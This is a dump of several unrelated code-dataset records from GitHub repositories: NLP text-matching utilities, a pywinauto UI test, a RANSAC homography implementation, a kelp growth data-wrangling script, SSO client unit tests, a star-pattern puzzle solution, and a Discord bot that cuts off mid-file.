create_lcqmc_examples(read_csv(self.train_examples_path, delimiter='\\t'))\n\n def get_dev_examples(self):\n return create_lcqmc_examples(read_csv(self.dev_examples_path, delimiter='\\t'))\n\n def get_test_examples(self):\n return create_lcqmc_examples(read_csv(self.test_examples_path, delimiter='\\t'))\n\n @classmethod\n def get_labels(cls):\n labels = ['0', '1']\n return labels\n\n @classmethod\n def get_label2id(cls):\n label2id = {'0': 0, '1': 1}\n return label2id\n\n\nclass TextPairFeature():\n def __init__(self, ids_a, ids_b, label_id):\n self.ids_a = ids_a\n self.ids_b = ids_b\n self.label_id = label_id\n\n\ndef examples_to_features(examples, label2id, tokenizer, max_len=48,\n preprocess_fn=preprocess_lcqmc, verbose=True):\n\n features = []\n len_a, len_b = [], []\n num_examples = len(examples)\n for idx, example in enumerate(examples):\n if idx % 10000 == 0:\n logger.info('Writing examples {} of {}'.format(idx, num_examples))\n text_a = example.text_a\n text_b = example.text_b\n if preprocess_fn is not None:\n text_a = preprocess_lcqmc(text_a)\n text_b = preprocess_lcqmc(text_b)\n tokens_a = tokenizer.tokenize(text_a)\n len_a.append(len(tokens_a))\n tokens_b = tokenizer.tokenize(text_b)\n len_b.append(len(tokens_b))\n\n ids_a = tokenizer.tokens_to_ids(tokens_a)\n ids_b = tokenizer.tokens_to_ids(tokens_b)\n\n ids_a = ids_a[:max_len]\n ids_b = ids_b[:max_len]\n label_id = label2id.get(example.label)\n if idx < 3 and verbose:\n logger.info('*** Example ***')\n logger.info('tokens_a: {}'.format(str(tokens_a)))\n logger.info('ids_a: {}'.format(str(ids_a)))\n logger.info('tokens_b: {}'.format(str(tokens_b)))\n logger.info('ids_b: {}'.format(str(ids_b)))\n logger.info('label: {} (id = {})'.format(\n example.label, label_id))\n features.append(TextPairFeature(ids_a, ids_b, label_id))\n logger.info('A: mean: {}, std: {}, max: {}, min: {}'.format(\n np.mean(len_a), np.std(len_a), max(len_a), min(len_a)))\n logger.info('B: mean: {}, std: {}, max: {}, min: {}\\n'.format(\n np.mean(len_b), np.std(len_b), max(len_b), min(len_b)))\n return features\n\n\nclass MyDataset(Dataset):\n def __init__(self, features):\n self.features = features\n\n def __getitem__(self, index):\n return self.features[index]\n\n def __len__(self):\n return len(self.features)\n\n\nclass TextPairCollate():\n def __init__(self, predict=False,):\n self.predict = predict\n\n def __call__(self, batch):\n max_len_a = max([len(feature.ids_a) for feature in batch])\n max_len_b = max([len(feature.ids_b) for feature in batch])\n for idx, feature in enumerate(batch):\n padding_a = [0] * (max_len_a - len(feature.ids_a)) # len_a[idx]\n padding_b = [0] * (max_len_b - len(feature.ids_b)) # len_b[idx]\n batch[idx].ids_a += padding_a\n batch[idx].ids_b += padding_b\n assert len(batch[idx].ids_a) == max_len_a\n assert len(batch[idx].ids_b) == max_len_b\n ids_a = torch.LongTensor([f.ids_a for f in batch])\n ids_b = torch.LongTensor([f.ids_b for f in batch])\n if self.predict:\n return ids_a, ids_b\n label_id = torch.LongTensor([f.label_id for f in batch])\n return ids_a, ids_b, label_id\n\n\ndef load_embedding_dict(embedding_path, embedding_dim):\n embedding_dict = {}\n start = time.time()\n with open(embedding_path, 'r', encoding='utf8') as f:\n for line in f:\n kv = line.rsplit(None, embedding_dim)\n if len(kv) != embedding_dim + 1:\n continue\n token = kv[0]\n embedding = np.asarray(kv[1:], dtype=np.float)\n embedding_dict[token] = embedding\n logger.info('Loaded {} embeddings from {} cost {:.1f}s'.format(\n len(embedding_dict), embedding_path, time.time() - start))\n return embedding_dict\n\n\ndef get_embedding(vocab, embedding_path, embedding_dim, _pad_idx=0):\n vocab_size = len(vocab)\n covered_embedding_path = './embedding/covered_embedding_V{}_D{}'.format(\n vocab_size, embedding_dim)\n exists_covered_embedding = os.path.exists(covered_embedding_path)\n if exists_covered_embedding:\n embedding_dict = load_embedding_dict(\n covered_embedding_path, embedding_dim)\n else:\n embedding_dict = load_embedding_dict(embedding_path, embedding_dim)\n n_covered = 0\n embeddings = np.random.randn(vocab_size, embedding_dim) # * 0.1\n embeddings[_pad_idx] = 0\n covered_embedding_dict = {}\n for token, idx in vocab.items():\n if token in embedding_dict:\n embedding = embedding_dict.get(token)\n embeddings[idx] = embedding\n n_covered += 1\n if not exists_covered_embedding:\n covered_embedding_dict[token] = embedding\n logger.info('Vocab size: {}, embeddings covered: {} tokens'.format(\n vocab_size, n_covered))\n if not exists_covered_embedding:\n with open(covered_embedding_path, 'w', encoding='utf8') as f:\n for token, embedding in covered_embedding_dict.items():\n f.write('{} {}\\n'.format(token, ' '.join(map(str, embedding))))\n logger.info('Saved covered embeddings to {}'.format(\n covered_embedding_path))\n return embeddings\n\n\n# tokenizer utils\ndef load_dict_from_json_file(f_path):\n with open(f_path, 'r', encoding='utf8') as f:\n dic = json.load(f)\n logger.info('Loaded dict of {} items from {}'.format(\n len(dic), f_path))\n return dic\n\n\ndef save_dict_to_json_file(dic, f_path):\n with open(f_path, 'w', encoding='utf8') as f:\n json.dump(dic, f, ensure_ascii=False, indent=2)\n logger.info('Saving dict of {} items to {}'.format(len(dic), f_path))\n\n\nclass Tokenizer():\n def save_vocab(self, model_dir):\n save_dict_to_json_file(\n self.vocab, os.path.join(model_dir, 'vocab.json'))\n\n\nclass CharTokenizer(Tokenizer):\n def __init__(self, model_dir, ):\n super(CharTokenizer, self).__init__()\n self.vocab = load_dict_from_json_file(\n os.path.join(model_dir, 'vocab.json'))\n self.vocab_size = len(self.vocab)\n\n def tokenize(self, text):\n tokens = [char.strip() for char in text if char.strip()]\n return tokens\n\n def tokens_to_ids(self, tokens, _unk_idx=1):\n ids = []\n for token in tokens:\n ids.append(self.vocab.get(token, _unk_idx))\n return ids\n\n @classmethod\n def build_vocab(cls, texts, output_dir, min_count=1, preprocess_fn=preprocess_lcqmc, _pad_idx=0, _unk_idx=1,):\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n vocab = {'_pad': _pad_idx, '_unk': _unk_idx}\n token_counter = Counter()\n for text in texts:\n if preprocess_fn is not None:\n text = preprocess_fn(text)\n token_counter.update(text)\n for token, count in token_counter.items():\n if count < min_count:\n continue\n if token not in vocab:\n vocab[token] = len(vocab)\n vocab_path = os.path.join(output_dir, 'vocab.json')\n save_dict_to_json_file({t: c for t, c in token_counter.most_common()},\n vocab_path.replace('vocab', 'token_count'))\n save_dict_to_json_file(vocab, vocab_path)\n logger.info('Building vocabulary of {} tokens to {}'.format(\n len(token_counter), len(vocab)))\n\n\n# experiments utils\ndef set_seed(seed):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\n\nclass Config:\n def __init__(self, model_dir):\n f_path = os.path.join(model_dir, 'config.json')\n logger.info('Loading config from: {}'.format(f_path))\n with open(f_path) as f:\n config = json.load(f)\n self.__dict__.update(config)\n logger.info('Config: {}'.format(config))\n\n def save(self, model_dir):\n config_path = os.path.join(model_dir, 'config.json')\n with open(config_path, 'w') as f:\n json.dump(self.__dict__, f, indent=4)\n\n @property\n def dict(self):\n \"\"\"Gives dict-like access to Config instance by `config.dict['learning_rate']\"\"\"\n return self.__dict__\n\n\ndef save_experiment(config, model, val_result, output_dir, test_result=None):\n logger.info('\\nSaving experiment')\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n config.save(output_dir)\n logger.info('Best val result: {}'.format(json.dumps(val_result)))\n # Save model\n torch.save(model.state_dict(), os.path.join(\n output_dir, 'pytorch_model.bin'))\n\n # Save val result\n save_dict_to_json_file(val_result, os.path.join(\n output_dir, 'best_val_result.json'))\n # Save test result\n if test_result is not None:\n logger.info('Best test result: ', test_result)\n save_dict_to_json_file(test_result, os.path.join(\n output_dir, 'test_result.json'))\n\n\n# metrics utils\ndef acc_p_r_f1(preds, labels):\n acc = accuracy_score(labels, preds)\n p = precision_score(labels, preds)\n r = recall_score(labels, preds)\n f1 = f1_score(labels, preds)\n return {\n 'acc': acc,\n 'p': p,\n 'r': r,\n 'f1': f1\n }\n\n\nif __name__ == \"__main__\":\n data_dir = './data/lcqmc'\n processor = LcqmcProcessor(data_dir)\n train_examples = processor.get_train_examples()\n dev_examples = processor.get_dev_examples()\n test_examples = processor.get_test_examples()\n all_examples = train_examples + dev_examples + test_examples\n all_texts = [example.text_a for example in all_examples] + \\\n [example.text_b for example in all_examples]\n CharTokenizer.build_vocab(\n all_texts, output_dir='experiments/esim_char', min_count=1)\n\n pass\n","repo_name":"songt96/nlp-beginner-solutions","sub_path":"task3-text_matching/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12993,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"549439788","text":"from util.get_pid_auto import get_pid\nfrom pywinauto import Application, WindowSpecification\nimport allure\nimport pytest\n\n\n@allure.feature('pc学生端进入教室')\nclass TestStudentLogin(object):\n @classmethod\n def setup_class(cls):\n process = get_pid('贝尔云课堂.exe')\n print(process)\n process.append(0)\n for i in process:\n try:\n groupbox = cls.document.GroupBox\n WindowSpecification.print_control_identifiers(cls.document)\n except:\n cls.app = Application(backend='uia').connect(process=i)\n cls.dlg = cls.app['学生端 - 贝尔云课堂']\n cls.document = cls.dlg.window(control_type='Document')\n continue\n else:\n break\n\n @pytest.mark.run(order=2)\n @allure.step('进入直播间')\n def test_student_enter_studio(self):\n groupbox = self.document.GroupBox\n\n enter_btn = groupbox.child_window(title=\"进入课堂\", control_type=\"Button\")\n enter_btn.wait('ready')\n enter_btn.click()\n\n # 设备检测,有就完成自动检测,没有就跳过\n try:\n self.dlg1 = self.app['设备检测 - 贝尔云课堂']\n self.document1 = self.dlg1.window(control_type='Document')\n\n # 开始检测\n start_btn = self.document1.child_window(title='开始检测', control_type='Text')\n start_btn.wait('ready')\n start_btn.click_input()\n\n camera_btn = self.document1.child_window(title='能看到', control_type='Text')\n camera_btn.wait('ready')\n camera_btn.click_input()\n\n loudspeaker_btn = self.document1.child_window(title='能听到', control_type='Text')\n loudspeaker_btn.wait('ready')\n loudspeaker_btn.click_input()\n\n microphone_btn = self.document1.child_window(title='能看到', control_type='Text')\n microphone_btn.wait('ready')\n microphone_btn.click_input()\n\n net_btn = self.document1.child_window(title='下一步', control_type='Text')\n net_btn.wait('ready')\n net_btn.click_input()\n\n webGL_btn = self.document1.child_window(title='下一步', control_type='Text')\n webGL_btn.wait('ready')\n webGL_btn.click_input()\n\n finish_btn = self.document1.child_window(title='进入课堂', control_type='Text')\n finish_btn.wait('ready')\n finish_btn.click_input()\n except:\n pass\n\n\nif __name__ == '__main__':\n pytest.main(['testEnterStudio.py'])\n","repo_name":"weilutao/pc_autotest","sub_path":"testcase/pywinauto/student/pc/testEnterStudio.py","file_name":"testEnterStudio.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6474057098","text":"import numpy as np\nimport cv2\nfrom BRIEF import briefLite, briefMatch\n\n\ndef computeH(p1, p2):\n '''\n INPUTS\n p1 and p2 - Each are size (2 x N) matrices of corresponding (x, y)' \n coordinates between two images\n OUTPUTS\n H2to1 - a 3 x 3 matrix encoding the homography that best matches the linear \n equation\n '''\n \n assert(p1.shape[1]==p2.shape[1])\n assert(p1.shape[0]==2)\n \n # p1 is x,y\n # p2 is u,v\n \n # we are going FROM u,v TO x,y\n \n x = p1[0,:]\n y = p1[1,:]\n u = p2[0,:]\n v = p2[1,:]\n \n #loop thru the A matrix and put in the values for the system Ah = 0\n A = np.zeros((x.size*2,9))\n for i in range(A.shape[0]):\n if i%2 == 0:\n j = int(i/2)\n A[i,:] = np.array([0, 0, 0, -u[j], -v[j], -1, y[j]*u[j], y[j]*v[j], y[j]])\n else:\n j = int((i-1)/2)\n A[i,:] = np.array([u[j], v[j], 1, 0, 0, 0, -x[j]*u[j], -x[j]*v[j], -x[j]])\n \n # compute the singular value decomposition and take the row of V_T corresponding\n # to the lowest eigenvalue in S. this will be the best approximation of h\n U, S, V_T = np.linalg.svd(A)\n\n if S.size < 9:\n H2to1 = V_T[8]\n else:\n H2to1 = V_T[np.argmin(S)]\n \n # reshape h column vector to H matrix\n H2to1 = np.reshape(H2to1,(3,3))\n \n return H2to1\n\n\ndef ransacH(matches, locs1, locs2, num_iter=5000, tol=2):\n '''\n Returns the best homography by computing the best set of matches using RANSAC\n \n INPUTS\n locs1 and locs2 - matrices specifying point locations in each of the images\n matches - matrix specifying matches between these two sets of point locations (2xN)\n nIter - number of iterations to run RANSAC\n tol - tolerance value for considering a point to be an inlier\n\n OUTPUTS\n bestH - homography matrix with the most inliers found during RANSAC\n '''\n\n ###########################\n # TO DO ...\n\n max_inliers = 0\n \n \n # define p1 and p2 as the coordinates of the matching keypoints.\n # both have shape 3xN --> (x,y,1)\n p1 = [locs1[i,:2] for i in matches[:,0]]\n p1 = np.vstack(p1).T\n p1 = np.concatenate((p1,np.ones((1,matches.shape[0]))))\n \n p2 = [locs2[i,:2] for i in matches[:,1]]\n p2 = np.vstack(p2).T\n p2 = np.concatenate((p2,np.ones((1,matches.shape[0]))))\n \n # run the algorithm over the specified number of iterations\n for n in range(num_iter):\n \n # randomly choose 4 sets of matching points\n np.random.shuffle(matches)\n shuffled = matches[:4]\n\n # define testpoints1 and testpoints2 the same way I defined p1 and p2\n # above\n testpoints1 = [locs1[j,:2] for j in shuffled[:,0]]\n testpoints1 = np.vstack(testpoints1).T\n\n testpoints2 = [locs2[k,:2] for k in shuffled[:,1]]\n testpoints2 = np.vstack(testpoints2).T\n \n # compute the homography to get from testpoints2 to testpoints1\n H_tmp = computeH(testpoints1, testpoints2)\n \n # multiply all of the matching points p2 by the homography and get \n # a set of predicted points in the p1 coordinate space\n p1_pred = np.matmul(H_tmp,p2)\n \n # divide all points (x,y,z) in p1_pred by z. during the warping via homography,\n # some scaling was introduced into the points. dividing by that z \n # value gets us back to (x,y,1) for all points and now we're ready\n # to compare with the actual p1 values\n p1_pred = np.divide(p1_pred,p1_pred[-1,:])\n \n inliers = 0\n # go thru each point in p1_pred and compute the distance to its \n # expected value in p1. count the number of points for which the distance\n # is less than the predefined tolerance. save the maximum number of\n # inliers and the corresponding H matrix that got you those inliers\n for i in range(matches.shape[0]):\n L2_dist = np.linalg.norm(p1_pred[:,i]-p1[:,i])\n if L2_dist < tol:\n inliers += 1\n \n if inliers > max_inliers:\n max_inliers = inliers\n bestH = H_tmp\n \n#print(\"max inliers\",max_inliers)\n \n return bestH\n\n\nif __name__ == '__main__':\n im1 = cv2.imread('../data/model_chickenbroth.jpg')\n im2 = cv2.imread('../data/chickenbroth_01.jpg')#\n# '../data/model_chickenbroth.jpg'\n locs1, desc1 = briefLite(im1)\n locs2, desc2 = briefLite(im2)\n matches = briefMatch(desc1, desc2)\n H = ransacH(matches, locs1, locs2)\n #num_iter=5000","repo_name":"kob51/Computer_Vision","sub_path":"HW2/code/planarH.py","file_name":"planarH.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10077347157","text":"import os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy import interpolate\nimport pdb\n \n# Note:\n\n# NOAA WOA18 Data covers the following:\n\n# * Temperature (°C)\n# * Salinity (unitless)\n# * Density (kg/m3)\n# * Conductivity (S/m)\n# * Mixed Layer Depth (m)\n# * Dissolved Oxygen (µmol/kg)\n# * Percent Oxygen Saturation (%)\n# * Apparent Oxygen Utilization (µmol/kg)\n# * Silicate (µmol/kg)\n# * Phosphate (µmol/kg)\n# * Nitrate (µmol/kg)\n\n# As the base for your data, we'll use the data for Saccharina latissima from \n# Venolia et al. (who in turn have compiled this data from 4 other courses).\n# GitHub = https://github.com/CVenolia/SugarKelpDEB\n\nclass SugarKelpDEB:\n\n def __init__(self):\n self.read_path = os.path.join('.','df.csv')\n self.write_path = None\n\n def nan_helper(self, nparray):\n \"\"\"Helper to handle indices and logical indices of NaNs.\n\n Input:\n - y, 1d numpy array with possible NaNs\n Output:\n - nans, logical indices of NaNs\n - index, a function, with signature indices= index(logical_indices),\n to convert logical indices of NaNs to 'equivalent' indices\n Example:\n >>> # linear interpolation of NaNs\n >>> nans, x= nan_helper(y)\n >>> y[nans]= np.interp(x(nans), x(~nans), y[~nans])\n \"\"\"\n\n return np.isnan(nparray), lambda z: z.nonzero()[0]\n\n\n def add_Gaussian_noise(self, nparray):\n \n _mean = 0\n _sd = .1\n _len = nparray.shape\n _scale = np.mean(nparray)\n\n return np.abs(nparray + (np.random.normal(_mean,_sd,_len)*_scale))\n\n\n def read_data(self):\n # Data output from R-script processing from Venolia et al.:\n # \"Modeling the Growth of Sugar Kelp (Saccharina latissima)\n # in Aquaculture Systems using Dynamic Energy Budget Theory\"\n\n df = pd.read_csv(self.read_path)\n \n return df\n\n\n def calculate_NP_ratio(self, df):\n \n _n = df['N'] # Nitrate and nitrate concentration (nitrates)\n _p = df['P'] # Phosphate and phosphate concentration (phosphates)\n\n _p = (_p/95)/10000 # convert from moles to micrograms\n _p = _p/16 # apply Redfield N:P ratio conversion\n\n _ = _n/16# apply Redfield N:P ratio conversion\n _ = np.abs(_p + _/100) # apply as linear transform\n \n _p = self.add_Gaussian_noise(_) # apply Gaussian blur\n\n df['P'] = _p\n\n return df\n\n\n def replace_nul_with_nan(self, df):\n \n df = df.replace(0.,np.nan)\n\n return df\n\n\n def interpolate_nans(self, df):\n\n for i in df.columns:\n\n try:\n ii = np.array(df[i])\n nans, x = self.nan_helper(ii)\n ii[nans] = np.interp(x(nans), x(~nans), ii[~nans])\n df[i] = ii\n except:\n pass\n\n return df\n\n\n def synthesize(self, df):\n \n\n for i in df.columns[1:]: # ignore time\n\n try:\n ii = np.array(df[i])\n df[i] = self.add_Gaussian_noise(ii)\n except:\n pass\n\n return df\n\n\n def get_deltas(self, df):\n\n # Environmental conditions:\n \n t_ = df['Temp_C'] # Temperature\n i_ = df['I'] # Irradiance\n d_ = df['CO_2'] # Dissolved Inorganic Carbon (DIC)\n n_ = df['N'] # Nitrate and nitrate concentration (nitrates)\n p_ = df['P'] # Phosphate and phosphate concentration (phosphates)\n \n def get_d(array):\n y = []\n for i in range(1,len(array)):\n y.append(abs(array[i]-array[i-1]))\n y.insert(0, y[0])\n return np.array(y)\n \n def get_dd(d_array):\n y = []\n for i in range(1,len(d_array)):\n y.append(abs(d_array[i]-d_array[i-1]))\n y.insert(0, y[0])\n y.insert(0, y[0])\n return np.array(y)\n \n t_d = get_d(t_)\n t_dd = get_d(t_d)\n \n i_d = get_d(i_)\n i_dd = get_d(i_d)\n\n d_d = get_d(d_)\n d_dd = get_d(d_d)\n\n n_d = get_d(n_)\n n_dd = get_d(n_d)\n\n p_d = get_d(p_)\n p_dd = get_d(p_d) \n \n r = df['r'] # Net Specific Growth Rate (SGR)\n \n data = {'temperature':t_,\n 'temperature_d':t_d,\n 'temperature_dd':t_dd,\n 'irradiance':i_,\n 'irradiance_d':i_d,\n 'irradiance_dd':i_dd,\n 'DIC':d_,\n 'DIC_d':d_d,\n 'DIC_dd':d_dd,\n 'nitrates':n_,\n 'nitrates_d':n_d,\n 'nitrates_dd':n_dd,\n 'phosphates':p_,\n 'phosphates_d':p_d,\n 'phosphates_dd':p_dd,\n 'SGR':r,\n }\n \n df = pd.DataFrame(data, columns = [\n 'temperature',\n 'temperature_d',\n 'temperature_dd',\n 'irradiance',\n 'irradiance_d',\n 'irradiance_dd',\n 'DIC',\n 'DIC_d',\n 'DIC_dd',\n 'nitrates',\n 'nitrates_d',\n 'nitrates_dd',\n 'phosphates',\n 'phosphates_d',\n 'phosphates_dd',\n 'SGR',\n ])\n \n\n df = self.replace_nul_with_nan(df)\n df = self.interpolate_nans(df)\n\n return df\n \n\n def write_data(self, df):\n df.to_csv(self.write_path, index=False)\n \n\n def main(self):\n df = self.read_data()\n df = self.calculate_NP_ratio(df)\n df = self.replace_nul_with_nan(df)\n df = self.interpolate_nans(df)\n df = self.synthesize(df)\n\n self.write_path = os.path.join('.','df_all.csv')\n self.write_data(df)\n\n df = self.get_deltas(df)\n\n self.write_path = os.path.join('.','df_delta.csv')\n self.write_data(df)\n\n\n\n\nlatissima = SugarKelpDEB()\nlatissima.main()","repo_name":"scottwellington/AIChallenge","sub_path":"data/data_wrangling.py","file_name":"data_wrangling.py","file_ext":"py","file_size_in_byte":6114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18963859086","text":"# coding: utf-8\nfrom datetime import datetime\nfrom dateutil.parser import parse\nfrom mock import patch, Mock\n\nfrom django.conf import settings\nfrom django.test import TestCase\n\nfrom .testtools import vcr\nfrom ..utils import SSOAPIClient, sso_hostname, remove_data_from_url\n\n\nclass SSOAPIClientTestCase(TestCase):\n\n def test_sso_client_must_have_a_correct_session_attached_to_it(self):\n client = SSOAPIClient()\n\n expected_auth = (settings.SSO_SERVICE_TOKEN, settings.SSO_SECRET_KEY)\n\n self.assertTrue(hasattr(client, '_session'))\n self.assertEqual(client._session.auth, expected_auth)\n\n def test_retrieve_new_token_should_return_correctly(self):\n with vcr.use_cassette('access_token_valid.json'):\n resp_dict = SSOAPIClient().retrieve_new_token()\n\n with vcr.use_cassette('access_token_valid.json'):\n exp_resp = SSOAPIClient()._get('/access_token', cookies={'session_id': '1234'})\n\n self.assertIn('token', resp_dict.keys())\n self.assertEqual(resp_dict['token'], exp_resp['token'])\n\n self.assertIn('expires_at', resp_dict.keys())\n expected_expires_at = parse(exp_resp['expires_at'], ignoretz=True)\n self.assertEqual(resp_dict['expires_at'], expected_expires_at)\n\n @patch.object(SSOAPIClient, '_request')\n def test_retrieve_new_token_should_use_sso_session_id_settings(self, mocked_method):\n mocked_method.return_value = {'expires_at': datetime.now().isoformat()}\n\n session_id = 'dummy_session'\n\n with self.settings(SSO_SESSION_ID=session_id):\n SSOAPIClient().retrieve_new_token()\n\n call_args = ('get', '/access_token')\n call_kwargs = {'cookies': {'session_id': session_id}, 'params': None}\n\n mocked_method.assert_called_once_with(*call_args, **call_kwargs)\n\n def test_create_user_should_return_the_user_id(self):\n with vcr.use_cassette('create_user_successful.json'):\n resp = SSOAPIClient().create_user(\n username='user',\n password='passwd',\n email='user@example.com',\n first_name='Test',\n last_name='User',\n )\n\n with vcr.use_cassette('create_user_successful.json'):\n post_data = {\n 'login': 'user',\n 'password': 'passwd',\n 'email': 'user@example.com',\n 'firstname': 'Test',\n 'lastname': 'User'\n }\n\n exp_resp = SSOAPIClient()._post('/users', post_data)\n exp_dict = {'id': exp_resp['created_user_id']}\n\n self.assertEqual(exp_dict, resp)\n\n def test_get_user_should_return_the_user_correctly_by_username(self):\n with vcr.use_cassette('get_user_by_username_successful.json'):\n resp = SSOAPIClient().get_user('user')\n\n with vcr.use_cassette('get_user_by_username_successful.json'):\n exp_resp = SSOAPIClient()._get('/user_by_login', {'login': 'user'})\n exp_resp['username'] = exp_resp.pop('login')\n\n self.assertEqual(exp_resp, resp)\n\n def test_update_user_should_update_the_user_correctly_by_username(self):\n with vcr.use_cassette('update_user_by_username_successful.json'):\n update_resp = SSOAPIClient().update_user('user',\n first_name='User',\n last_name='Test',\n )\n\n self.assertTrue(update_resp)\n\n with vcr.use_cassette('get_user_after_update_successful.json'):\n get_user_resp = SSOAPIClient().get_user('user')\n\n self.assertEqual(get_user_resp['first_name'], 'User')\n self.assertEqual(get_user_resp['last_name'], 'Test')\n\n def test_create_or_update_user_should_return_the_user_id(self):\n with vcr.use_cassette('create_or_update_user__create.json'):\n resp = SSOAPIClient().create_or_update_user(\n username='user',\n password='passwd',\n email='user@example.com',\n first_name='Test',\n last_name='User',\n )\n\n self.assertTrue(resp)\n\n def test_create_or_update_user_should_return_the_user_id(self):\n with vcr.use_cassette('create_or_update_user__update.json'):\n resp = SSOAPIClient().create_or_update_user(\n username='user',\n password='passwd',\n email='user@example.com',\n first_name='Test',\n last_name='User',\n )\n\n self.assertFalse(resp)\n\n def test_list_users_should_return_the_correct_dict(self):\n with vcr.use_cassette('list_users.json'):\n resp = SSOAPIClient().list_users()\n\n self.assertIn('total_pages', resp)\n self.assertIn('count', resp)\n\n self.assertIn('users', resp)\n self.assertIsInstance(resp['users'], list)\n\n def test_add_application_should_update_user_with_the_added_application(self):\n with vcr.use_cassette('add_application_to_user_success.json'):\n resp = SSOAPIClient().add_application_to_user('sudo', 'test-app')\n\n self.assertTrue(resp)\n\n with vcr.use_cassette('get_user_after_successful_application_addition.json'):\n user = SSOAPIClient().get_user('sudo')\n\n self.assertIn('applications', user)\n self.assertIn('test-app', user['applications'])\n\n def test_failed_add_application_should_not_update_user_with_the_added_application(self):\n with vcr.use_cassette('add_application_to_user_failure.json'):\n resp = SSOAPIClient().add_application_to_user('sudo', 'Must be slug')\n\n self.assertFalse(resp)\n\n with vcr.use_cassette('get_user_after_failed_application_addition.json'):\n user = SSOAPIClient().get_user('sudo')\n\n self.assertIn('applications', user)\n self.assertNotIn('Must be slug', user['applications'])\n\n def test_remove_application_should_update_user_with_the_removed_application(self):\n with vcr.use_cassette('remove_application_from_user_success.json'):\n resp = SSOAPIClient().remove_application_from_user('sudo', 'test-app')\n\n self.assertTrue(resp)\n\n with vcr.use_cassette('get_user_after_successful_application_remove.json'):\n user = SSOAPIClient().get_user('sudo')\n\n self.assertIn('applications', user)\n self.assertNotIn('test-app', user['applications'])\n\n def test_failed_remove_application_should_not_update_user_with_the_removed_application(self):\n with vcr.use_cassette('remove_application_from_user_failure.json'):\n resp = SSOAPIClient().remove_application_from_user('sudo', 'Must be slug')\n\n self.assertFalse(resp)\n\n with vcr.use_cassette('get_user_after_failed_application_remove.json'):\n user = SSOAPIClient().get_user('sudo')\n\n self.assertIn('applications', user)\n self.assertNotIn('test-app', user['applications'])\n\n def test_list_users_should_return_the_correct_dict(self):\n with vcr.use_cassette('list_applications.json'):\n resp = SSOAPIClient().list_applications()\n\n self.assertIsInstance(resp, list)\n self.assertIn('default', resp)\n\n\nclass RemoveDataFromUrlTestCase(TestCase):\n\n def test_should_remove_data_query_param_from_url(self):\n expected_url = 'totally-a-url'\n url = '{0}?data=none'.format(expected_url)\n\n self.assertEqual(remove_data_from_url(url), expected_url)\n\n def test_should_not_remove_other_query_params_from_url(self):\n expected_url = 'totally-a-url?other=param'\n url = '{0}&data=none'.format(expected_url)\n\n self.assertEqual(remove_data_from_url(url), expected_url)\n\n","repo_name":"brmed/innvent-sso-python-client","sub_path":"innvent_sso_client/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":7671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30686806275","text":"#별찍기\nimport sys\nn = int(sys.stdin.readline().rstrip())\nmatrix = [[' ' for _ in range(n)] for _ in range(n)]\n\n\ndef makeStar(x, y, num):\n if num == 1:\n matrix[x][y] = '*'\n return\n value = int(num / 3)\n\n for i in range(3):\n for j in range(3):\n if i == 1 and j == 1:\n continue\n else:\n makeStar(x + (value * i), y + (value * j), value)\n # (0, 0) (3, 0) (6, 0) 이 같음\n # (0, 0) (0, 3) (0, 6) 이 같음\n\n\nmakeStar(0, 0, n)\n\nfor i in range(n):\n s = ''\n for j in range(n):\n s += matrix[i][j]\n print(s)","repo_name":"jisuuuu/Algorithm_Study","sub_path":"Baekjoon/Baekjoon_python/boj_2447.py","file_name":"boj_2447.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73669211432","text":"import discord\nimport sys\nfrom Command_handler import *\nfrom Title_Order import TitleOrder\n\ntitle1 = \"duke\" \ntitle2 = \"architect\"\ntitle3 = \"justice\"\ntitle4 = \"scientist\"\n\nclass DiscordHandler(discord.Client):\n def init(self, titlesQueue):\n self.dukeQueue = titlesQueue[\"dukeQueue\"]\n self.architectQueue = titlesQueue[\"architectQueue\"]\n self.justiceQueue = titlesQueue[\"justiceQueue\"]\n self.scientistQueue = titlesQueue[\"scientistQueue\"]\n \n async def on_ready(self):\n print('We have logged in as {0}'.format(self.user))\n\n async def on_message(self, message):\n if message.author == self.user: #checks if the msg came from the bot itself\n return\n\n if message.content.startswith('$'): #Looks for a msg that starts with '$' char\n await self.processMessage(message)\n\n else:\n await message.channel.send('Command not valid {0}'.format(message.author.mention))\n \n async def processMessage(self, message):\n temp = message.system_content #Stores the content of the message\n\n if temp == \"$die\":\n await message.channel.send('shutting down')\n print(\"bot down\")\n await self.close()\n elif temp[1:6] == \"admin\":\n if self.isAdmin(message.author.name) == False:\n await message.channel.send('Forbidden! Not an admin.')\n return\n\n parsedCommand = ProcessAdminCommand(temp)\n titleQueue = self.getQueueTitle(parsedCommand[\"title\"])\n try:\n response = getattr(titleQueue, parsedCommand[\"command\"])()\n if response is not None:\n await message.channel.send(response)\n except Exception as err:\n await message.channel.send('Error! Admin command doesn\\'t exist or bad formatted: {0}'.format(message.author.mention))\n print(err) \n return\n \n status, title, X, Y = Command_handler(message.system_content)\n order = TitleOrder(title, X, Y, message.author)\n\n await self.processRequest(status, order, message)\n\n async def processRequest(self, status, order, message):\n titleQueue = self.getQueueTitle(order.title)\n if titleQueue is None:\n await message.channel.send('Error! The inputed title does not exist {0}'.format(message.author.mention))\n return\n \n # Status 1: Request for a title\n if status == 1:\n # Check if the user has a opened request. This is to prevent same user requesting multiple time in a row\n isUserOnQueue = titleQueue.isUserOnQueue(order)\n if isUserOnQueue:\n await message.channel.send('Sorry {0}, you have already a request pending for {1}'.format(message.author.mention, order.title))\n\n elif titleQueue.put(order):\n await message.channel.send('Roger! The title of: {0} has 